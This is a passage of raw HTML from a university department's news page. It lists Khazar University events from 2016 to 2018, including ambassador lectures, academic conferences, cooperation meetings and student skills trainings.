margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%\"\"=\"\"><span lang=\"AZ-LATIN\" style=\"line-height:150%\">On May 2, 2018, the Ambassador of Mexico to Azerbaijan H.E. Mr. Rodrigo Labardini delivered a lecture for the students of Khazar university. A special lecture </span><span style=\"line-height:150%\">of Mexico’s Ambassador, </span><span lang=\"AZ-LATIN\" style=\"line-height:150%\">entitled </span><span style=\"line-height:150%;background:#fffffff\">“Mexico’s Foreign Policy Priorities and its Bilateral Relations with Azerbaijan”, </span><span lang=\"AZ-LATIN\" style=\"line-height:150%\">organized within the Ambassador Lecture Series of Political Science and International Relations Department of Khazar University. The presentation of Mr. Labardini </span><span style=\"line-height:150%;background:#fffffff\">provided an insight into the political, economic, cultural context of the United Mexican States and dynamics of Mexico’s trade and economic relations with Azerbaijan. </span></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%\"\"=\"\">Ambassador concluded his lecture by welcoming questions from the audience.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%\"\"=\"\">The lecture moderated by Elmar Mustafayev, Coordinator of Political Science and International Relations Department.</p>  <p>For photos <a href=\"http://www.khazar.org/en/news/article/3166\">click here.</a></p><p><strong><br></strong></p><p><strong style=\"text-align:justify\"><span lang=\"AZ-LATIN\" style=\"line-height:150%\">Ambassador of Belgium visits Khazar University</span></strong></p><p><strong style=\"text-align:justify\"><span lang=\"AZ-LATIN\" style=\"line-height:150%\"></span></strong><strong>19 April 2018</strong></p><p style=\"text-align:justify;line-height:150%\"><span lang=\"AZ-LATIN\" style=\"line-height:150%\">On April 19</span><span style=\"line-height:150%\">, </span><span lang=\"AZ-LATIN\" style=\"line-height:150%\">2018, H.E. Mr. </span><span style=\"line-height:150%\">Bert Schoofs, Extraordinary and Plenipotentiary Ambassador of the Kingdom of Belgium to the Republic of Azerbaijan paid a courtesy visit to Khazar University at the invitation of Political Science and International Relations Department of the Khazar University. Accompanied by his assistant Ms. Sevil Gahramanova, the ambassador Schoofs met with Prof. Hamlet Isakhanli, Founder of Khazar University and the Chairman of its Board and Trustees; Dr. Hassan Niknafs, Rector of Khazar University; Elmar Mustafayev, Coordinator of the Political science and International Relations Department. </span></p><p style=\"text-align:justify\">At the meeting, Mr. Schoofs was informed about the history of Khazar University, its degree programs, research capacity, and international relations. Also, mutual collaboration opportunities on student and staff exchange, establishment of double-degree programs and research between Khazar University and Belgian higher education institutions were discussed during the meeting.</p>\r\n<p style=\"text-align:justify\">In turn, Mr. Schoofs expressed his readiness to facilitate the relations between the Belgian higher education institutions and Khazar University. The ambassador also positively assessed the invitation to deliver a special lecture for the students of Political Science and International Relations Department.</p>  <p>For photos <a href=\"http://www.khazar.org/en/news/article/3119\">click here.</a></p> <p><br></p><p><strong>Meeting with Representatives of Italian Cultural Center and Sapienza University of Rome</strong></p><p><strong>9 April 2018</strong></p> <p style=\"text-align:justify\">On April 9, 2018, the representatives of the Italian Cultural Center in Baku and the representatives of Sapienza University of Rome visited Neftchiler campus of Khazar University.</p><p style=\"text-align:justify\">The meeting was organized with the support of the Italian Cultural Center in Baku and aimed at strengthening the cooperation between Sapienza University and Khazar University. Participants of Khazar University included Dr. Hassan Niknafs, Rector of Khazar University, Mr. Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, and Turan Jafarova, Director of the International Affairs Office. Guests included Ms. Mattea Capelli, Head of EU Programs Unit at Sapienza University, Olesya Kifa, International Office employee at Sapienza University, Chingiz Asgarov, General Director of the Italian Cultural Center and Farid Abbasov, Co-founder of the Italian Cultural Center. During the meeting, some areas of mutual interest for future cooperation, including student and staff exchange, establishment of double-degree programs, and other important issues were discussed by the participants.</p><p style=\"text-align:justify\">Khazar University started its cooperation with Sapienza University within the Erasmus + Programme. One student from Khazar University previously benefited from exchange opportunity within the program.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/3094\">click here.</a></p><p><br></p><p><strong>An open lecture \"Return of Exiled Intellectuals of ADR \" dedicated to the 100th anniversary of the Azerbaijan Democratic Republic</strong></p><p><strong>16 March 2018</strong></p><p style=\"text-align:justify\">An open lecture on “Return of Exiled Intellectuals of ADR”, dedicated to the 100thanniversary of the Azerbaijan Democratic Republic, was held on March 16, 2018, with an organisational support of the Department of Political Sciences and International Relations of Khazar University. The lecturer was Dilgam Ahmad, a collector and journalist-writer, who has been researching the Azerbaijan Democratic Republic and history of the exiled intellectuals since 2012. On the same day, unique photos and documents of Democratic Republic, which belong to Dilgam Ahmad’s collection, were demonstrated. Moreover, it was a presentation and signature day of the books \"Return of Exiled Intellectuals\" and “The Distinguished” by Dilgam Ahmad.</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/3047\">click here.</a></p><p><strong><br></strong></p><p><strong>Ambassador of Israel delivers a lecture at Khazar University&nbsp;</strong></p><p><strong>27 February 2018</strong></p><p style=\"text-align:justify\">On&nbsp;February&nbsp;27, 2018, within the Ambassador Lecture Series organized by Political Science and International Relations Department, H.E.&nbsp;Mr.&nbsp;Dan Stav, Extraordinary and Plenipotentiary Ambassador of State of Israel to Azerbaijan, paid a visit to Khazar University. Before his lecture, he met with Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. The meeting was also attended by Assoc. Prof. Irada Khalilova, Vice-rector for research; Elmar Mustafayev, Coordinator of Political Science and International Relations Department; Baba Bayramli, Head of the Center for the European Union Studies; and Sahila Mustafayeva, Director of Press Department of Israeli Embassy.</p><p style=\"text-align:justify\">Special lecture delivered by Mr. Stav, presented the following issues of discussion: Israel-Azerbaijani Bilateral Relations, Historical and Political Complexities that have shaped the Middle East region over the centuries, and Geopolitical Situation after the recognition of Jerusalem as a capital of Israel by the US President Donald Trump.</p><p style=\"text-align:justify\">Moderated by Elmar Mustafayev, Coordinator of Political Science and International Relations Department, Mr. Stav’s lecture was followed by the Q&amp;A session.&nbsp;</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/2998\">click here</a>.</p><p style=\"text-align:justify\"><br></p><p><strong>Political Science and International Relations Department Coordinator at Conference in Rome&nbsp;</strong></p><p><strong>24 January 2018</strong></p><p style=\"text-align:justify\"><strong></strong><span style=\"text-align:justify\">On January 24, 2018, Elmar Mustafayev, Coordinator of Political Science and International Relations Department, participated in an academic conference entitled “Research on Azerbaijan in Italy: themes and prospects”. The event was organized by Roma Sapienza Foundation and the Communications and Social Researches Department of the same university. Conference participants included Eugenio Gaudio, Rector of Sapienza University, Mammad Ahmadzada, Ambassador of Azerbaijan to Italy, Antonello Biagini, Chairman of Roma Sapienza Foundation, academicians and researchers from various universities and institutions, and PhD candidates. The speeches were related to the l</span><span style=\"text-align:justify\">egal aspects of the Armenian-Azerbaijani conflict, the history and energy policy of Azerbaijan, its relations with Turkey, Iran, Russia, other countries of the region, the United States and EU, public diplomacy, social welfare in Azerbaijan, Azerbaijani literature, the books about Azerbaijan published in Italy.At the conference, Elmar Mustafayev delivered a presentation entitled “Europeanization beyond the EU: the case of Azerbaijan” in which he spoke about the opportunities and contradictions of Europeanization process in Azerbaijan.The conference was covered in the mass media.</span></p><p><span style=\"text-align:justify\"></span><a href=\"https://news.az/articles/politics/128566\" style=\"text-align:justify\">https://news.az/articles/politics/128566</a></p><p><a href=\"https://news.az/articles/politics/128566\" style=\"text-align:justify\"></a><a href=\"https://azertag.az/xeber/1131433\" style=\"text-align:justify\">https://azertag.az/xeber/1131433</a></p><p><a href=\"https://azertag.az/xeber/1131433\" style=\"text-align:justify\"></a><a href=\"https://video.azertag.az/video/60178\">https://video.azertag.az/video/60178</a></p><p><a href=\"https://video.azertag.az/video/60178\"></a>For photos <a href=\"http://www.khazar.org/en/news/article/2869\">click here</a>.</p><p><strong><br></strong></p><p><strong>“Azerbaijan Muallimi” newspaper wrote about a Khazar University lecturer</strong>&nbsp;</p><p><strong>19 January 2018</strong></p><p style=\"text-align:justify\"><strong></strong>On&nbsp;January 19, 2018,&nbsp;<span style=\"text-align:justify\">“Azerbaijan Muallimi” published an article&nbsp;within the project “Where do State Program awardees work?”. The article included information about Elmar Mustafayev who graduated from La Sapienza University, Italy, within State Program. Currently, Elmar Mustafayev is a lecturer and coordinator of the Department of Political Sciences and International Relations of Khazar University.The series of articles are dedicated to those who studied abroad within “State Program on education of Azerbaijani youth abroad for the years of 2007-2015” and have successful career in science, education, economy, industry, bank, ICT and other sectors.</span></p><p><span style=\"text-align:justify\"></span>Please <a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03\">click here</a> for the full article.&nbsp;</p><p><strong><br></strong></p><p><strong>Presentation of “Caucasus International” journal</strong></p><p><strong></strong><strong>24 November 2017</strong></p><p style=\"text-align:justify\"><strong></strong>On November 24, 2017,&nbsp;<span style=\"text-align:justify\">Center for Strategic Studies under the President of the Republic of Azerbaijan made a presentation of “Caucasus International” journal for lecturers and students of the Department of Political Sciences and International Relations of Khazar University. The presentation was made by Ilgar Gurbanov, the deputy editor and researcher of Department of Analyses of Foreign Affairs of Center for Strategic Studies, and Shabnam Maharramova, an expert on media of the Centre.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/2671\">click here</a>.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Ambassador of Palestine Delivers a Lecture at Khazar University</strong></p><p style=\"text-align:justify\"><strong></strong><strong>17 November 2017</strong></p><p style=\"text-align:justify\"><strong></strong>On November 17, 2017, Ambassador Extraordinary and Plenipotentiary of Palestine to Azerbaijan Mr. Nasser Abdel Karem visited Khazar University to deliver a lecture. This event was organized jointly by the International Affairs Office and the Department of Political Science and International Relations within the International Education Week (November 13-17, 2017) initiated and carried out by the International Affairs Office.The event started with the meeting of Dr. Hassan Niknafs, Rector of Khazar University and the Ambassador. The meeting focused mainly on cooperation between the Embassy of Palestine in Azerbaijan and Khazar University. Director of International Relations Department Turan Jafarova, Coordinator of Political Science and International Relations Department Elmar Mustafayev and Assistant to the Ambassador Extraordinary and Plenipotentiary of Palestine in Azerbaijan attended the meeting as well.Later, Ambassador Extraordinary and Plenipotentiary of Palestine to Azerbaijan, Mr. Nasser Abdel Karem, delivered a lecture on \"Review of Palestine\" for students of Political Science and International Relations Department. During the lecture, the students were briefed on the bilateral relations between Azerbaijan and Palestine and the situation in the Middle East. The meeting ended with a question-and-answer session headed by Elmar Mustafayev, Coordinator of Political Science and International Relations Department. Elkhan Kasimov, Assistant of International Office also took part in the meeting. Ambassador Nasser Abdel Karem expressed his gratitude to Khazar University administration for the invitation.&nbsp;</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/2648\">click here</a>.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>“Job Search Rules” training was held for the students of the Department of Political Science and International Relations&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>22 May 2017</strong></p><p style=\"text-align:justify\"><strong></strong>On May 22, 2017,&nbsp;The “Job Search Rules” training was held for the students of the Department of Political Science and International Relations of Khazar University. The training was provided( delivered) by Rashad Khaligov, the teacher of Khazar University and the member of the Department of Information Systems. Rashad Khaligov spoke about the stajer.az&nbsp;platform that he created to help the students without any work experiences. Later, he explained the rules that students should follow when they apply for jobs. It should be noted that, the training was held within the framework of the 10 weeks Employment and Business Skills Program organized by the Department of Political Science and International Relations.&nbsp;</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/2211\">click here</a>.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Hassan Niknafs Meets with the Ambassador of Romania to Azerbaijan</strong></p><p style=\"text-align:justify\"><strong></strong><strong>26 April 2017</strong></p><p style=\"text-align:justify\">On April&nbsp;26, 2017, Dr. Hassan Niknafs, the rector of Khazar University met with Mr. Dan Ianku, Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan and PhD Aurora Martin, the representative of National Agency of Romania on Equal Opportunities Between Women and Men. After the meeting, PhD Martin gave a presentation on “Globalization and human trafficking”. &nbsp;The presentation was the latest event in the series of Jean Monnet European seminars held by the Department of Political Science and International Relations.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2099\">click here</a>.&nbsp; &nbsp;&nbsp;</p><p><br></p><p><strong>Romanian Ambassador to Azerbaijan Visits the Department of Political Science and International Relations</strong>&nbsp;</p><p><strong>18 April 2017</strong>&nbsp;</p><p style=\"text-align:justify\">On April 18, 2017, H.E. Mr. Dan Iancu Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan paid a courtesy visit to the Department of Political Science and International Relations of Khazar University. The ambassador Iancu gave information about the forthcoming Romanian-Azerbaijani Education Forum to be organized in May. Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of the Department informed the ambassador about the degree programs offered by the university. He also asked the ambassador to distribute the information about the Khazar University Scholarship program among the Romanian university students. The necessity of academic and student exchanges was mentioned by the meeting participants. The Diplomatic Counselor of the Embassy Mrs. Mihaela Iancu and the Coordinator of the Department Mr. Elmar Mustafayev also took part in the meeting.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2082\">click here</a>.&nbsp;&nbsp;</p><p><br></p><p><strong>Training of “GR8” Company for Khazar University Students&nbsp;</strong></p><p><strong>17 April 2017&nbsp;</strong></p><p style=\"text-align:justify\">On April 17, 2017 “GR8” company conducted a training session on professional e-mail writing rules for students of Political Science and International Relation Department of Khazar University. The training was conducted by Aygun Novruzova, “GR8” company co-founder and training manager of “Baku Fairmont” Hotel. The training was held interactively and&nbsp;covered rules that must be followed and the most common mistakes while writing an e-mail. It should be noted that, mentioned training took place as a part of 10- week Training Program for the Development of Entrepreneurship and Professional Skills organized by Political Science and International Relation Department of Khazar University.&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2081\">click here</a>.&nbsp;</p><p><strong><br></strong></p><p><strong>“Fireworks” Company Held Training at Khazar University&nbsp;</strong></p><p><strong></strong><strong>3 April 2017</strong></p><p style=\"text-align:justify\">On April 3, 2017, “Fireworks” Human Resource Company held the training for the students of the Department of Political Science and International Relations on writing a professional resume and how to pass a job interview successfully. In the training, the employees of “Fireworks” company commented on the students’ CVs individually and informed them about the code of behavior in job interviews. The event was held within the framework of the ongoing Training Program of Developing Professional and Business Skills in the department beginning from February 27, 2017.&nbsp;&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/2041\">click here</a>.<strong><br></strong></p><p><strong><br></strong></p><p><strong>Excel Training by Deloitte Azerbaijan for Khazar University Students&nbsp;</strong></p><p><strong></strong><strong>6 March 2017</strong></p><p style=\"text-align:justify\">On March 6, 2017, a special training program was organized for students of the Department of Political Science and International Relations of Khazar University. The training was delivered by the experts of the Audit Department of Deloitte Azerbaijan. The topics covered included introduction to Excel, Excel basics, frequently used tools including statistical, financial, logic and reference-related formulas. The training was delivered within the framework of the ten-week Employability and Soft Skills Training Program. This special program is designed to help students develop CV writing, job interview preparation, presentation skills, communication and interpersonal skills as well as effective e-mail communication and cover letter writing.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/1967\">click here</a>.&nbsp;</p><p><br></p><p><strong>Employability and Soft Skills Training Program at Khazar University</strong></p><p><strong>27 February 2017</strong></p><p style=\"text-align:justify\">On February 27, 2017, the Department of Political Science and International Relations of Khazar University&nbsp;launched the Employability and Soft Skills Training Program. This special program is designed to equip students with CV writing, job interview preparation as well as presentation, communication and interpersonal skills. The training is also intended to help students develop their hard skills including PowerPoint presentation, Excel basics, effective e-mail communication and cover letter writing. The program started with a workshop by the experts of the human resource management unit of Deloitte Azerbaijan. The ten-week program will also be conducted by experts from GR8 Club, Fireworks Human Resource Management as well as the Career Development Centre of Khazar University.&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/1939\">click here</a>.&nbsp;<strong><br></strong></p><p><br></p><p><strong>Meeting with representatives of International Relations Office of Ministry of Education</strong></p><p><strong></strong><strong>16 February 2017</strong></p><ul></ul><p style=\"text-align:justify\">On February 16, 2017, a meeting with the representatives of the International Relations Office of the Ministry of Education of Azerbaijan was held at Khazar University. The meeting was attended by Ilqar Yusubov, Deputy Director of the International Relations Office of the Ministry of Education; Mujdat Hasanov, Senior Advisor of the Ministry; Hassan Niknafs, President of Khazar University, Mohammad Nuriyev, Vice-Rector for Academic Affairs; Mukhtar Hajizade; Head of Khazar University’s Department of International Relations and Political Affairs; and Turan Jafarova, Director of the International Relations Office. Detailed information about the international relations of Khazar University was given to the guests. &nbsp;Discussions included issues such as simplifying nostrification procedures for international students, publicizing information about the university in many languages, launching online international admission platform. The meeting participants also discussed possibilities of holding university admission exams several times a year instead of the current pattern of only one exam yearly, issuing work permits for international doctoral students, and providing Ministry of Education scholarships for foreign nationals.&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/1897\">click here</a>.</p><p><br></p><p><strong>Meeting with Alumni of State Program for Foreign Education&nbsp;&nbsp;</strong></p><p><strong></strong><strong>17 December 2016&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong>On December 17, 2016, a forum on academic recruitment of alumni of the “State Program for Foreign Education of Azerbaijani Youth in the years 2007-2015” was held at ADA University. Participants in the event included Mikayil Jabbarov, Minister of Education; Shahmar Movsumov, Executive Director of the State Oil Foundation; Akif Alizadeh, President of Azerbaijan National Academy of Sciences; Hafiz Pashayev, Rector of ADA University; and other administrative members of higher education institutions as well as alumni of master’s and PhD programs abroad. Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University and alumnus of the State Program, made a presentation at the event. He especially noted the importance of the event for the economy of Azerbaijan in light of current challenges.&nbsp;</p><p><a href=\"http://edu.gov.az/az/page/9/13402\">http://edu.gov.az/az/page/9/13402</a>.&nbsp;</p><p><a href=\"http://news.lent.az/news/262937\">http://news.lent.az/news/262937</a>.&nbsp;&nbsp;</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/1761\">click here&nbsp;&nbsp;</a></p><p><br></p><p><strong>President Meets with First-Year Students</strong>&nbsp;</p><p><strong>15 December 2016&nbsp;</strong></p><p style=\"text-align:justify\">On December 15, 2016, Dr. Hasan Niknafs, President of the University, met with first-year students. Participants in the meeting included Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations; and Pasha Aydayev, Assistant to the Dean of the School of Humanities and Social Sciences. Dr. Hasan Niknafs spoke to the students about the opportunities that would be offered to them during their four years of study, and he made suggestions to help them study successfully. At the end of the event, students’ questions were answered.&nbsp;&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1733\">click here</a>.&nbsp;</p><p><br></p><p><strong>Meeting on How to Build a Thriving Startup Ecosystem&nbsp;</strong></p><p><strong>1 November 2016&nbsp;</strong></p><p style=\"text-align:justify\">On November 1, 2016, Mr. Tal Catran, an Accelerators Guru and Startups Builder, visited Khazar University to speak with faculty and staff members about Israel’s experience with startups. He pointed out the reasons behind Israel\'s start-up success and shared his ideas on how to build a thriving startup ecosystem. The guest was also informed about the Technopark and other ideas for innovation at Khazar University. The meeting was attended by Dr. Mukhtar Hajizada, Chair of the Department of Political Science and International Relations; Mrs. Raziya Isayeva, Development Director; Dr. Ingilab Ahmadov, Dean of the School of Economics and Management; Dr. Jeyhun Mammadov, Chair of the Department of Economics and Management; and Assoc. Prof. Gasham Zeynalov, Chair of the Department of Petroleum Engineering; as well as Mrs. Lina Michaeli from the Israel Aerospace Industries (IAI) and Mr. Amir Rom from the Embassy of Israel in Baku.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1516\">click here.&nbsp;</a> &nbsp;</p><p><strong><br></strong></p><p><strong>Mobility Agreement&nbsp; with the University of Tartu&nbsp;</strong>&nbsp;</p><p><strong>24&nbsp;October 2016</strong>&nbsp;</p><p style=\"text-align:justify\">Khazar University and the University of Tartu in Estonia have entered into an interuniversity agreement to facilitate the mobility of learners and staff in political science and international relations. The agreement has been reached in the context of the Erasmus+ programme Key Action 1.&nbsp;Dr. James Thurber of American University Speaks about U.S. Presidential Elections 24 October 2016.&nbsp;</p><p style=\"text-align:justify\">On October 24, 2016, the Department of Political Science and International Relations of Khazar University hosted Dr. James Thurber, Distinguished Professor of Government at American University, Washington D.C. to discuss the upcoming elections in the United States.&nbsp; Dr. Thurber provided a general overview of the U.S. political process, including the nomination of presidential candidates, the political conventions and the Electoral College.&nbsp; He also spoke about the important issues in domestic politics in the United States that gave rise to each of the current presidential nominees, Hillary Clinton and Donald Trump.&nbsp; Dr. Thurber explained that there is a high likelihood of a Clinton victory due to potential votes in the Electoral College.&nbsp; Students asked a range of questions about how the U.S. elections will affect its relations with the NAFTA and European countries, human rights and world trade.&nbsp; Dr. Thurber also met with Dr. Mukhtar Hajizada, Department Chair, who thanked him for the gift of his book&nbsp;<em>American Gridlock: The Sources, Character, and Impact of Political Polarization</em>.&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1469\">click here.</a>&nbsp; &nbsp;</p><p><br></p><p><strong>Khazar Faculty Member’s Article Published in Germany&nbsp;</strong></p><p><strong>10 June 2016 &nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\">On June 10, 2016, the article of Elsevar Mammadov, PhD candidate and instructor at Khazar University, Department of Political Science and International Relations was published in the book entitled “Caucasus, the EU and Russia – Triangular Cooperation?”&nbsp;<strong>(</strong><em><strong>Michèle Knodt, Sigita Urdze (Hrsg.)</strong></em><strong>, by Nomos, Baden-Baden</strong>&nbsp;by Nomos Publishing house.&nbsp;The&nbsp;article is titled “EU-Azerbaijan cooperation&nbsp;within the Eastern Partnership and other frameworks: The view from Azerbaijan’s foreign policy perspective”. Elsevar Mammadov analyzed the relations with the EU, cooperation in the framework of the European Neighborhood Policy (ENP) and the Eastern Partnership (EaP) from the point of view of Azerbaijan `s foreign policy. The paper studies Azerbaijan’s foreign policy goals in the context of its relations with the EU, as well as the EU’s expectations regarding these programs and Azerbaijan`s attitude to these expectations.&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1208\">click here.</a>&nbsp;&nbsp;</p><p><strong><br></strong></p><p><strong>Department Chair Visits Schools on Front Lines</strong>&nbsp;</p><p><strong>11-12 June 2016</strong>&nbsp;</p><p style=\"text-align:justify\">On June 11-12, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, visited schools located in the front-line regions. He held meetings with pupils in the Guzanli Village High School in Aghdam, located near the line of contact between Armenian and Azerbaijani forces, and with 9th and 10th graders in the Khasilli Village High School in Barda. The objective of the meetings was to convince pupils of the importance of higher education, inform them about specific majors they could choose, teach them about good time management, encourage them to study abroad in the future and inform them about scholarship opportunities. After the meeting, he gave students school supplies as a gift from Khazar University. This trip was financed by the Youth Foundation of the President of the Azerbaijan Republic and was organized by Azerbaijan UK Alumni Association within the framework of the “Hand to Hand for Education” program. As a continuation of the program, selected pupils will be invited to Baku for a five-day summer camp to visit Khazar University and four other higher education institutions.&nbsp;&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1206\">click here.&nbsp;</a> &nbsp;</p><p><br></p><p><strong>Jean Monnet Seminar on Integration Processes in Southeastern Asia and Asia Pacific</strong><strong></strong>&nbsp;</p><p><strong>20 May 2016</strong><strong></strong></p><p style=\"text-align:justify\">On May 20, 2016, Khazar University\'s Department of Political Science and International Relations hosted H. E. Roslan Abdul Rahman, Ambassador of Malaysia to Azerbaijan, to discuss the integration processes in Southeastern Asia and Asia Pacific from the Malaysian perspective. He provided a detailed background on Malaysia\'s foreign policy in the wider neighborhood and briefed the students about the cooperation with both the Association of Southeast Asian Nations (ASEAN) and the Asia-Pacific Economic Cooperation. After the seminar, Mr. Rahman had a meeting with the President of Khazar University, Dr. Hassan Niknafs.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1133\">click here</a>.</p><p><br></p><p><strong>Department Chair Makes Presentation at International Conference in Vatican</strong></p><p><strong>11-12&nbsp;April 2016</strong></p><p style=\"text-align:justify\">On April 11-12, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in an international conference entitled “On Caring for our Common Home: USA and Vatican Participation in Global Issues” held at the Vatican. Conference participants included ambassadors to the Vatican, representatives of the diplomatic body, leaders of various faith groups and representatives of international news agencies. The objective of the conference was to hold a discussion on challenges issues in the encyclical letter sent by Pope Francis on May 24, 2015 to the entire episcopate of the Roman Catholic Church “On Caring for Our Common Home.” The encyclical letter expressed the Pope’s deep concerns over the environment, climate change, and decrease in biodiversity, low quality of human life, global equality, shortages of drinking water and other current problems. The conference was held in the Apostolic Palace of the Vatican under the chairmanship of Cardinal Peter Turkson. At the conference, Dr. Hajizada made a presentation entitled “Interfaith Tolerance and Multiculturalism in Azerbaijan” in which he spoke about the importance of multiculturalism in light of the current global situation. He also noted the rights of various religious groups and ethnic minorities in Azerbaijan as well as their contributions to the country’s environment of tolerance. He explained that Azerbaijan is a secular government, explaining its objective approach toward race and religion by citing examples from its legislation. During discussion after the presentation, Dr. Hajizada also shared his thoughts about the events of early April including Armenian violation of the ceasefire along the line of contact between Armenian and Azerbaijani armed forces; peace talks that have not yet yielded progress; the current plight of Azerbaijani internally displaced peoples and refugees after Armenia forcefully removed its citizens of Azerbaijani descent; and the dilemma of using force.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/923\">click here</a>.</p><p><br></p><p><strong>Anti-Plagiarism Measures Taken</strong></p><p><strong>11 April 2016</strong></p><p style=\"text-align:justify\">On April 11, 2016, articles were published on many news sites about an event held jointly by the Copyright Agency of the Azerbaijan Republic and the Ministry of Education on “Plagiarism in Scientific, Academic and Literary Texts and How to Prevent it.” Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, represented Khazar in the discussion.&nbsp;</p><p><strong><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=51346</a></strong></p><p><strong></strong><strong><a href=\"http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html\">http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html</a></strong></p><p><strong><a href=\"http://virtualaz.org/bugun/67428\"></a></strong><strong><a href=\"http://virtualaz.org/bugun/67428\">http://virtualaz.org/bugun/67428</a></strong></p><p><br></p><p><strong>Department Chair Makes Appearance on Education TV</strong></p><p><strong>9 April 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On April 9, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, appeared as a guest on Education TV’s “Temel” (Foundation) broadcast and discussed the importance of academic integrity with Farhad Amirbeyov, Advisor to the Minister of Education.&nbsp;</p><p>Please <a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\">click here</a> for the broadcast</p><p><br></p><p><strong>British Ambassador Speaks at Khazar about The Commonwealth and ‘Brexit’</strong></p><p><strong>8 April 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On April 8, 2016, the Department of Political Science and International Relations of Khazar University hosted the British ambassador to Azerbaijan, H.E. Irfan Siddiq. His speech was mainly dedicated to the Commonwealth of Nations and the discussion of the main principles upon which this intergovernmental organization operates. Mr. Siddiq provided a general overview of the institutions that function within these organizations, including the Commonwealth Secretariat and the Commonwealth Foundation, and elaborated on the purposes and decision-making functions of the Commonwealth Heads of Government Meeting. He then moved on to speak about the British participation in the EU and the upcoming referendum on European Union membership of Britain. The Ambassador also spoke about the main pro and con arguments with regards to the UK\'s possible withdrawal from the European Union. He wrapped up his speech by mentioning some of the achievements he has made for the progress of the British-Azerbaijani relationship during his term as Ambassador. While visiting Khazar, H.E. Irfan Siddiq also met with Dr. Hasan Niknafs, President of the University.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/866\">click here</a>.</p><p><strong><br></strong></p><p><strong>President Meets with Select Khazar Students at First National Model UN Conference</strong></p><p><strong>8 April 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On April 8, 2016, Khazar University President Hasan Niknafs met with select Khazar University students who had participated in the First Model UN Conference (MilliMUN). The UN model is a simulation of UN organizations such as the General Assembly, the Security Council and other UN organs intended to teach students diplomacy and cooperation. In the Model UN, students hold discussions about current events on the organization’s agenda, prepare resolutions on international cooperation, hold talks with partners and opponents, and resolve conflicts. Khazar University created Khazar MUN Club on September 21, 2015 in order to ensure strong student participation in future Model UN events. The club president, Parvin Rahimli, began club activities in September to prepare students for the First Model UN Conference. The Model UN movement is facilitated in Azerbaijan by the Ministry of Youth and Sports and the UN Development Program through the joint project “Creating Support for Active Participation of Youth in Global Political Discussions.”&nbsp; As part of this program, the first MilliMUN Conference was held in Baku on a national scale on 20-23 February, 2016. That event included simulations of 5 UN committees with the participation of 350 young diplomats representing over 20 Azerbaijani universities, academies and schools. 21 students from Khazar University participated in the MilliMUN simulation in February. Among these students, two won certificates: Fasli Nabiyev won “Best Delegation” in the UN Security Council simulation and Yannick Aghbor won “Best Position Paper” in the International Telecommunication Union. During the meeting with the President on April 8, the idea of hosting a MilliMUN event or another similar event at Khazar University in the current academic year was discussed. A decision was made to being planning the event, which will be called “KhazarMUN.”</p><p><br></p><p><strong>Roundtable Discussion Plagiarism and Solutions</strong></p><p><strong>7 April 2016</strong><strong></strong></p><p style=\"text-align:justify\"><strong></strong>On April 7, 2016, a roundtable discussion entitled “Plagiarism in Scientific, Academic and Literary Texts and How to 